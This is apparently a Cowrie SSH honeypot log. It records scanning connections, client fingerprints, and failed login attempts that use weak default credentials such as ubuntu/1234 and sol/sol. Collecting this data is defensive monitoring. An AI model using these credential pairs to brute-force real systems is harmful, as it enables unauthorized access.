{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":46518,"dst_ip":"159.203.135.109","dst_port":22,"session":"d18b9c442a59","protocol":"ssh","message":"New connection: 195.178.110.218:46518 (159.203.135.109:22) [session: d18b9c442a59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:03:24.744632Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:03:24.821426Z","src_ip":"195.178.110.218","session":"d18b9c442a59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":38098,"dst_ip":"10.17.0.5","dst_port":22,"session":"239ac3aeb762","protocol":"ssh","message":"New connection: 92.118.39.92:38098 (10.17.0.5:22) [session: 239ac3aeb762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:03:54.279214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:03:54.284133Z","src_ip":"92.118.39.92","session":"239ac3aeb762","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:03:54.388200Z","src_ip":"92.118.39.92","session":"239ac3aeb762","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:03:54.699892Z","src_ip":"92.118.39.92","session":"239ac3aeb762","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:03:55.809059Z","src_ip":"92.118.39.92","session":"239ac3aeb762","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.227.254.170","src_port":56768,"dst_ip":"159.203.135.109","dst_port":22,"session":"78143c78b9a8","protocol":"ssh","message":"New connection: 45.227.254.170:56768 (159.203.135.109:22) [session: 78143c78b9a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:04:06.498270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:04:06.503438Z","src_ip":"45.227.254.170","session":"78143c78b9a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:04:06.612406Z","src_ip":"45.227.254.170","session":"78143c78b9a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:04:07.065725Z","src_ip":"45.227.254.170","session":"78143c78b9a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.131.220.121","src_port":51618,"dst_ip":"159.203.135.109","dst_port":22,"session":"c10ce5a1ebc3","protocol":"ssh","message":"New connection: 3.131.220.121:51618 (159.203.135.109:22) [session: c10ce5a1ebc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:04:26.913425Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:04:26.918190Z","src_ip":"3.131.220.121","session":"c10ce5a1ebc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:04:26.924372Z","src_ip":"3.131.220.121","session":"c10ce5a1ebc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.131.220.121","src_port":53652,"dst_ip":"159.203.135.109","dst_port":22,"session":"7aae7db54a0e","protocol":"ssh","message":"New connection: 3.131.220.121:53652 (159.203.135.109:22) [session: 7aae7db54a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:05:33.319902Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\u0363\\x8e\u0012\\xef\\xaa\\xf6Z\\x93\u0153\\x8d7_+\u0010'\u00dc\f\\xf26xBJ[,\u07caT\\xcf\\xee\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\u0363\\x8e\u0012\\xef\\xaa\\xf6Z\\x93\u0153\\x8d7_+\u0010'\u00dc\f\\xf26xBJ[,\u07caT\\xcf\\xee\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:05:33.325588Z","src_ip":"3.131.220.121","session":"7aae7db54a0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:05:33.333360Z","src_ip":"3.131.220.121","session":"7aae7db54a0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":54718,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd6a42c8f349","protocol":"ssh","message":"New connection: 92.118.39.92:54718 (10.17.0.5:22) [session: cd6a42c8f349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:06:08.869652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:06:08.874176Z","src_ip":"92.118.39.92","session":"cd6a42c8f349","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:06:08.978293Z","src_ip":"92.118.39.92","session":"cd6a42c8f349","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:06:09.289884Z","src_ip":"92.118.39.92","session":"cd6a42c8f349","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:06:10.406833Z","src_ip":"92.118.39.92","session":"cd6a42c8f349","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":42434,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d2480de1d59","protocol":"ssh","message":"New connection: 195.178.110.218:42434 (159.203.135.109:22) [session: 3d2480de1d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:06:17.749179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:06:17.753335Z","src_ip":"195.178.110.218","session":"3d2480de1d59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:06:17.835390Z","src_ip":"195.178.110.218","session":"3d2480de1d59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:06:18.074526Z","src_ip":"195.178.110.218","session":"3d2480de1d59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:06:19.158352Z","src_ip":"195.178.110.218","session":"3d2480de1d59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.131.220.121","src_port":43696,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2b55ef0e05b","protocol":"ssh","message":"New connection: 3.131.220.121:43696 (159.203.135.109:22) [session: f2b55ef0e05b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:07:23.451501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:07:23.473278Z","src_ip":"3.131.220.121","session":"f2b55ef0e05b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:07:23.482914Z","src_ip":"3.131.220.121","session":"f2b55ef0e05b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:07:33.473718Z","src_ip":"3.131.220.121","session":"f2b55ef0e05b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.131.220.121","src_port":52434,"dst_ip":"159.203.135.109","dst_port":22,"session":"e19dd0571cc1","protocol":"ssh","message":"New connection: 3.131.220.121:52434 (159.203.135.109:22) [session: e19dd0571cc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:07:58.340776Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003LeF\\xd1\\xe4g3k>p\\xf3\\xf8\\x9bX\\x9b\\xe4\\xa7A\\x93\\xcd=\\xbd\\xc5K\u07c1\\xa2\u001a\\xa9\\xa6e\\x8c\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003LeF\\xd1\\xe4g3k>p\\xf3\\xf8\\x9bX\\x9b\\xe4\\xa7A\\x93\\xcd=\\xbd\\xc5K\u07c1\\xa2\u001a\\xa9\\xa6e\\x8c\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:07:58.345633Z","src_ip":"3.131.220.121","session":"e19dd0571cc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:07:58.349300Z","src_ip":"3.131.220.121","session":"e19dd0571cc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":43148,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1678ed410ba","protocol":"ssh","message":"New connection: 92.118.39.92:43148 (10.17.0.5:22) [session: f1678ed410ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:08:28.237606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:08:28.242583Z","src_ip":"92.118.39.92","session":"f1678ed410ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:08:28.346298Z","src_ip":"92.118.39.92","session":"f1678ed410ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345","message":"login attempt [ubuntu/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:08:28.649534Z","src_ip":"92.118.39.92","session":"f1678ed410ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:08:29.752572Z","src_ip":"92.118.39.92","session":"f1678ed410ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":47236,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbbac4b33378","protocol":"ssh","message":"New connection: 195.178.110.218:47236 (159.203.135.109:22) [session: fbbac4b33378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:09:11.164251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:09:11.168559Z","src_ip":"195.178.110.218","session":"fbbac4b33378","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:09:11.244305Z","src_ip":"195.178.110.218","session":"fbbac4b33378","protocol":"ssh"}
